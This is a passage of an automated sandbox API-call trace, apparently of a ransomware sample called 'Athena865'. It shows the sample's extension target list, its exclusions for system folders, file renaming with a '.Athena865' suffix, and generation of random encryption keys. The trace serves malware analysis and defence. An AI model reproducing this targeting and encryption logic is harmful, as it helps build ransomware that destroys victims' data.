(lpString="adb") returned 3 [0121.193] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0121.193] lstrlenW (lpString="ade") returned 3 [0121.193] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0121.193] lstrlenW (lpString="adf") returned 3 [0121.193] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0121.193] lstrlenW (lpString="adn") returned 3 [0121.193] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0121.193] lstrlenW (lpString="adp") returned 3 [0121.193] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0121.193] lstrlenW (lpString="alf") returned 3 [0121.193] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0121.193] lstrlenW (lpString="ask") returned 3 [0121.193] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0121.193] lstrlenW (lpString="btr") returned 3 [0121.193] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0121.193] lstrlenW (lpString="cat") returned 3 [0121.193] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0121.193] lstrlenW (lpString="cdb") returned 3 [0121.193] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0121.193] lstrlenW (lpString="ckp") returned 3 [0121.193] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1 [0121.194] lstrlenW (lpString="cma") returned 3 [0121.194] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0121.194] lstrlenW (lpString="cpd") returned 3 [0121.194] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0121.194] lstrlenW (lpString="dacpac") returned 6 [0121.194] lstrcmpiW (lpString1="4_.GIF", lpString2="dacpac") returned -1 [0121.194] lstrlenW (lpString="dad") returned 3 [0121.194] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0121.194] lstrlenW (lpString="dadiagrams") returned 10 [0121.194] lstrcmpiW (lpString1="00164_.GIF", lpString2="dadiagrams") returned -1 [0121.194] lstrlenW (lpString="daschema") returned 8 [0121.194] lstrcmpiW (lpString1="164_.GIF", lpString2="daschema") returned -1 [0121.194] lstrlenW (lpString="db-journal") returned 10 [0121.194] lstrcmpiW (lpString1="00164_.GIF", lpString2="db-journal") returned -1 [0121.194] lstrlenW (lpString="db-shm") returned 6 [0121.194] lstrcmpiW (lpString1="4_.GIF", lpString2="db-shm") returned -1 [0121.194] lstrlenW (lpString="db-wal") returned 6 [0121.194] lstrcmpiW (lpString1="4_.GIF", lpString2="db-wal") returned -1 [0121.194] lstrlenW (lpString="dbc") returned 3 [0121.194] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0121.194] lstrlenW (lpString="dbs") returned 3 [0121.194] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0121.194] lstrlenW (lpString="dbt") returned 3 [0121.194] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0121.194] lstrlenW (lpString="dbv") returned 3 [0121.194] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0121.194] lstrlenW (lpString="dbx") returned 3 [0121.194] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0121.194] lstrlenW (lpString="dcb") returned 3 [0121.195] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0121.195] lstrlenW (lpString="dct") returned 3 [0121.195] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0121.195] lstrlenW (lpString="dcx") returned 3 [0121.195] lstrcmpiW (lpString1="GIF", lpString2="dcx") returned 1 [0121.195] lstrlenW (lpString="ddl") returned 3 [0121.195] lstrcmpiW (lpString1="GIF", lpString2="ddl") returned 1 [0121.195] lstrlenW (lpString="dlis") returned 4 [0121.195] lstrcmpiW (lpString1=".GIF", lpString2="dlis") returned -1 [0121.195] lstrlenW (lpString="dp1") returned 3 [0121.195] lstrcmpiW (lpString1="GIF", lpString2="dp1") returned 1 [0121.195] lstrlenW (lpString="dqy") returned 3 [0121.195] lstrcmpiW (lpString1="GIF", lpString2="dqy") returned 1 [0121.195] lstrlenW (lpString="dsk") returned 3 [0121.195] lstrcmpiW (lpString1="GIF", lpString2="dsk") returned 1 [0121.195] lstrlenW (lpString="dsn") returned 3 [0121.195] lstrcmpiW (lpString1="GIF", lpString2="dsn") returned 1 [0121.195] lstrlenW (lpString="dtsx") returned 4 [0121.195] lstrcmpiW (lpString1=".GIF", lpString2="dtsx") returned -1 [0121.195] lstrlenW (lpString="dxl") returned 3 [0121.195] lstrcmpiW (lpString1="GIF", lpString2="dxl") returned 1 [0121.195] lstrlenW (lpString="eco") returned 3 [0121.195] lstrcmpiW (lpString1="GIF", lpString2="eco") returned 1 [0121.195] lstrlenW (lpString="ecx") returned 3 [0121.195] lstrcmpiW (lpString1="GIF", lpString2="ecx") returned 1 [0121.195] lstrlenW (lpString="edb") returned 3 [0121.195] lstrcmpiW (lpString1="GIF", lpString2="edb") returned 1 [0121.195] lstrlenW (lpString="epim") returned 4 [0121.195] lstrcmpiW (lpString1=".GIF", lpString2="epim") returned -1 [0121.196] lstrlenW (lpString="fcd") returned 3 [0121.196] lstrcmpiW (lpString1="GIF", lpString2="fcd") returned 1 [0121.196] lstrlenW (lpString="fdb") returned 3 [0121.196] lstrcmpiW (lpString1="GIF", lpString2="fdb") returned 1 [0121.196] lstrlenW (lpString="fic") returned 3 [0121.196] lstrcmpiW (lpString1="GIF", lpString2="fic") returned 1 [0121.196] lstrlenW (lpString="flexolibrary") returned 12 [0121.196] lstrlenW (lpString="fm5") returned 3 [0121.196] lstrcmpiW (lpString1="GIF", lpString2="fm5") returned 1 [0121.196] lstrlenW (lpString="fmp") returned 3 [0121.196] lstrcmpiW (lpString1="GIF", lpString2="fmp") returned 1 [0121.196] lstrlenW (lpString="fmp12") returned 5 [0121.196] lstrcmpiW (lpString1="_.GIF", lpString2="fmp12") returned -1 [0121.196] lstrlenW (lpString="fmpsl") returned 5 [0121.196] lstrcmpiW (lpString1="_.GIF", lpString2="fmpsl") returned -1 [0121.196] lstrlenW (lpString="fol") returned 3 [0121.196] lstrcmpiW (lpString1="GIF", lpString2="fol") returned 1 [0121.196] lstrlenW (lpString="fp3") returned 3 [0121.196] lstrcmpiW (lpString1="GIF", lpString2="fp3") returned 1 [0121.196] lstrlenW (lpString="fp4") returned 3 [0121.196] lstrcmpiW (lpString1="GIF", lpString2="fp4") returned 1 [0121.196] lstrlenW (lpString="fp5") returned 3 [0121.196] lstrcmpiW (lpString1="GIF", lpString2="fp5") returned 1 [0121.196] lstrlenW (lpString="fp7") returned 3 [0121.196] lstrcmpiW (lpString1="GIF", lpString2="fp7") returned 1 [0121.196] lstrlenW (lpString="fpt") returned 3 [0121.196] lstrcmpiW (lpString1="GIF", lpString2="fpt") returned 1 [0121.196] lstrlenW (lpString="frm") returned 3 [0121.196] lstrcmpiW (lpString1="GIF", lpString2="frm") returned 1 [0121.197] lstrlenW (lpString="gdb") returned 3 [0121.197] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0121.197] lstrlenW (lpString="gdb") returned 3 [0121.197] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0121.197] lstrlenW (lpString="grdb") returned 4 [0121.197] lstrcmpiW (lpString1=".GIF", lpString2="grdb") returned -1 [0121.197] lstrlenW (lpString="gwi") returned 3 [0121.197] lstrcmpiW (lpString1="GIF", lpString2="gwi") returned -1 [0121.197] lstrlenW (lpString="hdb") returned 3 [0121.197] lstrcmpiW (lpString1="GIF", lpString2="hdb") returned -1 [0121.197] lstrlenW (lpString="his") returned 3 [0121.197] lstrcmpiW (lpString1="GIF", lpString2="his") returned -1 [0121.197] lstrlenW (lpString="ib") returned 2 [0121.197] lstrcmpiW (lpString1="IF", lpString2="ib") returned 1 [0121.197] lstrlenW (lpString="idb") returned 3 [0121.197] lstrcmpiW (lpString1="GIF", lpString2="idb") returned -1 [0121.197] lstrlenW (lpString="ihx") returned 3 [0121.197] lstrcmpiW (lpString1="GIF", lpString2="ihx") returned -1 [0121.197] lstrlenW (lpString="itdb") returned 4 [0121.197] lstrcmpiW (lpString1=".GIF", lpString2="itdb") returned -1 [0121.197] lstrlenW (lpString="itw") returned 3 [0121.197] lstrcmpiW (lpString1="GIF", lpString2="itw") returned -1 [0121.197] lstrlenW (lpString="jet") returned 3 [0121.197] lstrcmpiW (lpString1="GIF", lpString2="jet") returned -1 [0121.197] lstrlenW (lpString="jtx") returned 3 [0121.197] lstrcmpiW (lpString1="GIF", lpString2="jtx") returned -1 [0121.197] lstrlenW (lpString="kdb") returned 3 [0121.197] lstrcmpiW (lpString1="GIF", lpString2="kdb") returned -1 [0121.197] lstrlenW (lpString="kexi") returned 4 [0121.198] lstrcmpiW (lpString1=".GIF", lpString2="kexi") returned -1 [0121.198] lstrlenW (lpString="kexic") returned 5 [0121.198] lstrcmpiW (lpString1="_.GIF", lpString2="kexic") returned -1 [0121.198] lstrlenW (lpString="kexis") returned 5 [0121.198] lstrcmpiW (lpString1="_.GIF", lpString2="kexis") returned -1 [0121.198] lstrlenW (lpString="lgc") returned 3 [0121.198] lstrcmpiW (lpString1="GIF", lpString2="lgc") returned -1 [0121.198] lstrlenW (lpString="lwx") returned 3 [0121.198] lstrcmpiW (lpString1="GIF", lpString2="lwx") returned -1 [0121.198] lstrlenW (lpString="maf") returned 3 [0121.198] lstrcmpiW (lpString1="GIF", lpString2="maf") returned -1 [0121.198] lstrlenW (lpString="maq") returned 3 [0121.198] lstrcmpiW (lpString1="GIF", lpString2="maq") returned -1 [0121.198] lstrlenW (lpString="mar") returned 3 [0121.198] lstrcmpiW (lpString1="GIF", lpString2="mar") returned -1 [0121.198] lstrlenW (lpString="marshal") returned 7 [0121.198] lstrcmpiW (lpString1="64_.GIF", lpString2="marshal") returned -1 [0121.198] lstrlenW (lpString="mas") returned 3 [0121.198] lstrcmpiW (lpString1="GIF", lpString2="mas") returned -1 [0121.198] lstrlenW (lpString="mav") returned 3 [0121.198] lstrcmpiW (lpString1="GIF", lpString2="mav") returned -1 [0121.198] lstrlenW (lpString="maw") returned 3 [0121.198] lstrcmpiW (lpString1="GIF", lpString2="maw") returned -1 [0121.198] lstrlenW (lpString="mdbhtml") returned 7 [0121.198] lstrcmpiW (lpString1="64_.GIF", lpString2="mdbhtml") returned -1 [0121.198] lstrlenW (lpString="mdn") returned 3 [0121.198] lstrcmpiW (lpString1="GIF", lpString2="mdn") returned -1 [0121.198] lstrlenW (lpString="mdt") returned 3 [0121.198] lstrcmpiW (lpString1="GIF", lpString2="mdt") returned -1 [0121.199] lstrlenW (lpString="mfd") returned 3 [0121.199] lstrcmpiW (lpString1="GIF", lpString2="mfd") returned -1 [0121.199] lstrlenW (lpString="mpd") returned 3 [0121.199] lstrcmpiW (lpString1="GIF", lpString2="mpd") returned -1 [0121.199] lstrlenW (lpString="mrg") returned 3 [0121.199] lstrcmpiW (lpString1="GIF", lpString2="mrg") returned -1 [0121.199] lstrlenW (lpString="mud") returned 3 [0121.199] lstrcmpiW (lpString1="GIF", lpString2="mud") returned -1 [0121.199] lstrlenW (lpString="mwb") returned 3 [0121.199] lstrcmpiW (lpString1="GIF", lpString2="mwb") returned -1 [0121.199] lstrlenW (lpString="myd") returned 3 [0121.199] lstrcmpiW (lpString1="GIF", lpString2="myd") returned -1 [0121.199] lstrlenW (lpString="ndf") returned 3 [0121.199] lstrcmpiW (lpString1="GIF", lpString2="ndf") returned -1 [0121.199] lstrlenW (lpString="nnt") returned 3 [0121.199] lstrcmpiW (lpString1="GIF", lpString2="nnt") returned -1 [0121.199] lstrlenW (lpString="nrmlib") returned 6 [0121.199] lstrcmpiW (lpString1="4_.GIF", lpString2="nrmlib") returned -1 [0121.199] lstrlenW (lpString="ns2") returned 3 [0121.199] lstrcmpiW (lpString1="GIF", lpString2="ns2") returned -1 [0121.199] lstrlenW (lpString="ns3") returned 3 [0121.199] lstrcmpiW (lpString1="GIF", lpString2="ns3") returned -1 [0121.199] lstrlenW (lpString="ns4") returned 3 [0121.199] lstrcmpiW (lpString1="GIF", lpString2="ns4") returned -1 [0121.199] lstrlenW (lpString="nsf") returned 3 [0121.199] lstrcmpiW (lpString1="GIF", lpString2="nsf") returned -1 [0121.199] lstrlenW (lpString="nv") returned 2 [0121.199] lstrcmpiW (lpString1="IF", lpString2="nv") returned -1 [0121.199] lstrlenW (lpString="nv2") returned 3 [0121.200] lstrcmpiW (lpString1="GIF", lpString2="nv2") returned -1 [0121.200] lstrlenW (lpString="nwdb") returned 4 [0121.200] lstrcmpiW (lpString1=".GIF", lpString2="nwdb") returned -1 [0121.200] lstrlenW (lpString="nyf") returned 3 [0121.200] lstrcmpiW (lpString1="GIF", lpString2="nyf") returned -1 [0121.200] lstrlenW (lpString="odb") returned 3 [0121.200] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0121.200] lstrlenW (lpString="odb") returned 3 [0121.200] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0121.200] lstrlenW (lpString="oqy") returned 3 [0121.200] lstrcmpiW (lpString1="GIF", lpString2="oqy") returned -1 [0121.200] lstrlenW (lpString="ora") returned 3 [0121.200] lstrcmpiW (lpString1="GIF", lpString2="ora") returned -1 [0121.200] lstrlenW (lpString="orx") returned 3 [0121.200] lstrcmpiW (lpString1="GIF", lpString2="orx") returned -1 [0121.200] lstrlenW (lpString="owc") returned 3 [0121.200] lstrcmpiW (lpString1="GIF", lpString2="owc") returned -1 [0121.200] lstrlenW (lpString="p96") returned 3 [0121.200] lstrcmpiW (lpString1="GIF", lpString2="p96") returned -1 [0121.200] lstrlenW (lpString="p97") returned 3 [0121.200] lstrcmpiW (lpString1="GIF", lpString2="p97") returned -1 [0121.200] lstrlenW (lpString="pan") returned 3 [0121.200] lstrcmpiW (lpString1="GIF", lpString2="pan") returned -1 [0121.200] lstrlenW (lpString="pdb") returned 3 [0121.200] lstrcmpiW (lpString1="GIF", lpString2="pdb") returned -1 [0121.200] lstrlenW (lpString="pdm") returned 3 [0121.200] lstrcmpiW (lpString1="GIF", lpString2="pdm") returned -1 [0121.200] lstrlenW (lpString="pnz") returned 3 [0121.200] lstrcmpiW (lpString1="GIF", lpString2="pnz") returned -1 [0121.200] lstrlenW (lpString="qry") returned 3 [0121.201] lstrcmpiW (lpString1="GIF", lpString2="qry") returned -1 [0121.201] lstrlenW (lpString="qvd") returned 3 [0121.201] lstrcmpiW (lpString1="GIF", lpString2="qvd") returned -1 [0121.201] lstrlenW (lpString="rbf") returned 3 [0121.201] lstrcmpiW (lpString1="GIF", lpString2="rbf") returned -1 [0121.201] lstrlenW (lpString="rctd") returned 4 [0121.201] lstrcmpiW (lpString1=".GIF", lpString2="rctd") returned -1 [0121.201] lstrlenW (lpString="rod") returned 3 [0121.201] lstrcmpiW (lpString1="GIF", lpString2="rod") returned -1 [0121.201] lstrlenW (lpString="rodx") returned 4 [0121.201] lstrcmpiW (lpString1=".GIF", lpString2="rodx") returned -1 [0121.201] lstrlenW (lpString="rpd") returned 3 [0121.201] lstrcmpiW (lpString1="GIF", lpString2="rpd") returned -1 [0121.201] lstrlenW (lpString="rsd") returned 3 [0121.201] lstrcmpiW (lpString1="GIF", lpString2="rsd") returned -1 [0121.201] lstrlenW (lpString="sas7bdat") returned 8 [0121.201] lstrcmpiW (lpString1="164_.GIF", lpString2="sas7bdat") returned -1 [0121.201] lstrlenW (lpString="sbf") returned 3 [0121.201] lstrcmpiW (lpString1="GIF", lpString2="sbf") returned -1 [0121.201] lstrlenW (lpString="scx") returned 3 [0121.201] lstrcmpiW (lpString1="GIF", lpString2="scx") returned -1 [0121.201] lstrlenW (lpString="sdb") returned 3 [0121.201] lstrcmpiW (lpString1="GIF", lpString2="sdb") returned -1 [0121.201] lstrlenW (lpString="sdc") returned 3 [0121.201] lstrcmpiW (lpString1="GIF", lpString2="sdc") returned -1 [0121.201] lstrlenW (lpString="sdf") returned 3 [0121.201] lstrcmpiW (lpString1="GIF", lpString2="sdf") returned -1 [0121.201] lstrlenW (lpString="sis") returned 3 [0121.201] lstrcmpiW (lpString1="GIF", lpString2="sis") returned -1 [0121.202] lstrlenW (lpString="spq") returned 3 [0121.202] lstrcmpiW (lpString1="GIF", lpString2="spq") returned -1 [0121.202] lstrlenW (lpString="te") returned 2 [0121.202] lstrcmpiW (lpString1="IF", lpString2="te") returned -1 [0121.202] lstrlenW (lpString="teacher") returned 7 [0121.202] lstrcmpiW (lpString1="64_.GIF", lpString2="teacher") returned -1 [0121.202] lstrlenW (lpString="tmd") returned 3 [0121.202] lstrcmpiW (lpString1="GIF", lpString2="tmd") returned -1 [0121.202] lstrlenW (lpString="tps") returned 3 [0121.202] lstrcmpiW (lpString1="GIF", lpString2="tps") returned -1 [0121.202] lstrlenW (lpString="trc") returned 3 [0121.202] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0121.202] lstrlenW (lpString="trc") returned 3 [0121.202] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0121.202] lstrlenW (lpString="trm") returned 3 [0121.202] lstrcmpiW (lpString1="GIF", lpString2="trm") returned -1 [0121.202] lstrlenW (lpString="udb") returned 3 [0121.202] lstrcmpiW (lpString1="GIF", lpString2="udb") returned -1 [0121.202] lstrlenW (lpString="udl") returned 3 [0121.202] lstrcmpiW (lpString1="GIF", lpString2="udl") returned -1 [0121.202] lstrlenW (lpString="usr") returned 3 [0121.202] lstrcmpiW (lpString1="GIF", lpString2="usr") returned -1 [0121.202] lstrlenW (lpString="v12") returned 3 [0121.202] lstrcmpiW (lpString1="GIF", lpString2="v12") returned -1 [0121.202] lstrlenW (lpString="vis") returned 3 [0121.202] lstrcmpiW (lpString1="GIF", lpString2="vis") returned -1 [0121.202] lstrlenW (lpString="vpd") returned 3 [0121.202] lstrcmpiW (lpString1="GIF", lpString2="vpd") returned -1 [0121.202] lstrlenW (lpString="vvv") returned 3 [0121.203] lstrcmpiW (lpString1="GIF", lpString2="vvv") returned -1 [0121.203] lstrlenW (lpString="wdb") returned 3 [0121.203] lstrcmpiW (lpString1="GIF", lpString2="wdb") returned -1 [0121.203] lstrlenW (lpString="wmdb") returned 4 [0121.203] lstrcmpiW (lpString1=".GIF", lpString2="wmdb") returned -1 [0121.203] lstrlenW (lpString="wrk") returned 3 [0121.203] lstrcmpiW (lpString1="GIF", lpString2="wrk") returned -1 [0121.203] lstrlenW (lpString="xdb") returned 3 [0121.203] lstrcmpiW (lpString1="GIF", lpString2="xdb") returned -1 [0121.203] lstrlenW (lpString="xld") returned 3 [0121.203] lstrcmpiW (lpString1="GIF", lpString2="xld") returned -1 [0121.203] lstrlenW (lpString="xmlff") returned 5 [0121.203] lstrcmpiW (lpString1="_.GIF", lpString2="xmlff") returned -1 [0121.203] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.Athena865") returned 73 [0121.203] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.athena865"), dwFlags=0x1) returned 1 [0121.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.204] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13254) returned 1 [0121.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.204] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.205] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.205] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.205] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x36d0, lpName=0x0) returned 0x154 [0121.207] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x36d0) returned 0x100000 [0121.212] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.213] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.213] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.213] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.213] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.213] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.213] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.213] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.213] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.213] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.214] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.214] CloseHandle (hObject=0x154) returned 1 [0121.214] CloseHandle (hObject=0x17c) returned 1 [0121.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.215] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b98100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89b98100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0121.215] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.215] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.215] lstrcmpiW (lpString1="AG00165_.GIF", lpString2=".") returned 1 [0121.215] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="..") returned 1 [0121.215] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="windows") returned -1 [0121.215] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="bootmgr") returned -1 [0121.215] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="temp") returned -1 [0121.215] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="pagefile.sys") returned -1 [0121.215] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="boot") returned -1 [0121.215] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="ids.txt") returned -1 [0121.215] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="ntuser.dat") returned -1 [0121.215] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="perflogs") returned -1 [0121.215] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="MSBuild") returned -1 [0121.215] lstrlenW (lpString="AG00165_.GIF") returned 12 [0121.215] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00165_.GIF" | out: lpString1="AG00165_.GIF") returned="AG00165_.GIF" [0121.215] lstrlenW (lpString="AG00165_.GIF") returned 12 [0121.215] lstrlenW (lpString="Athena865") returned 9 [0121.215] lstrcmpiW (lpString1="0165_.GIF", lpString2="Athena865") returned -1 [0121.215] lstrlenW (lpString=".dll") returned 4 [0121.215] lstrcmpiW (lpString1="AG00165_.GIF", lpString2=".dll") returned 1 [0121.215] lstrlenW (lpString=".lnk") returned 4 [0121.215] lstrcmpiW (lpString1="AG00165_.GIF", lpString2=".lnk") returned 1 [0121.215] lstrlenW (lpString=".ini") returned 4 [0121.215] lstrcmpiW (lpString1="AG00165_.GIF", lpString2=".ini") returned 1 [0121.215] lstrlenW (lpString=".sys") returned 4 [0121.215] lstrcmpiW (lpString1="AG00165_.GIF", lpString2=".sys") returned 1 [0121.216] lstrlenW (lpString="AG00165_.GIF") returned 12 [0121.216] lstrlenW (lpString="bak") returned 3 [0121.216] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0121.216] lstrlenW (lpString="ba_") returned 3 [0121.216] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0121.216] lstrlenW (lpString="dbb") returned 3 [0121.216] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0121.216] lstrlenW (lpString="vmdk") returned 4 [0121.216] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0121.216] lstrlenW (lpString="rar") returned 3 [0121.216] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0121.216] lstrlenW (lpString="zip") returned 3 [0121.216] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0121.216] lstrlenW (lpString="tgz") returned 3 [0121.216] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0121.216] lstrlenW (lpString="vbox") returned 4 [0121.216] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0121.216] lstrlenW (lpString="vdi") returned 3 [0121.216] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0121.216] lstrlenW (lpString="vhd") returned 3 [0121.216] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0121.216] lstrlenW (lpString="vhdx") returned 4 [0121.216] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0121.216] lstrlenW (lpString="avhd") returned 4 [0121.216] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0121.216] lstrlenW (lpString="db") returned 2 [0121.216] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0121.216] lstrlenW (lpString="db2") returned 3 [0121.216] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0121.216] lstrlenW (lpString="db3") returned 3 [0121.217] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0121.217] lstrlenW (lpString="dbf") returned 3 [0121.217] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0121.217] lstrlenW (lpString="mdf") returned 3 [0121.217] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0121.217] lstrlenW (lpString="mdb") returned 3 [0121.217] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0121.217] lstrlenW (lpString="sql") returned 3 [0121.217] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0121.217] lstrlenW (lpString="sqlite") returned 6 [0121.217] lstrcmpiW (lpString1="5_.GIF", lpString2="sqlite") returned -1 [0121.217] lstrlenW (lpString="sqlite3") returned 7 [0121.217] lstrcmpiW (lpString1="65_.GIF", lpString2="sqlite3") returned -1 [0121.217] lstrlenW (lpString="sqlitedb") returned 8 [0121.217] lstrcmpiW (lpString1="165_.GIF", lpString2="sqlitedb") returned -1 [0121.217] lstrlenW (lpString="xml") returned 3 [0121.217] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0121.217] lstrlenW (lpString="$er") returned 3 [0121.217] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0121.217] lstrlenW (lpString="4dd") returned 3 [0121.217] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0121.217] lstrlenW (lpString="4dl") returned 3 [0121.217] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0121.217] lstrlenW (lpString="^^^") returned 3 [0121.217] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0121.217] lstrlenW (lpString="abs") returned 3 [0121.217] 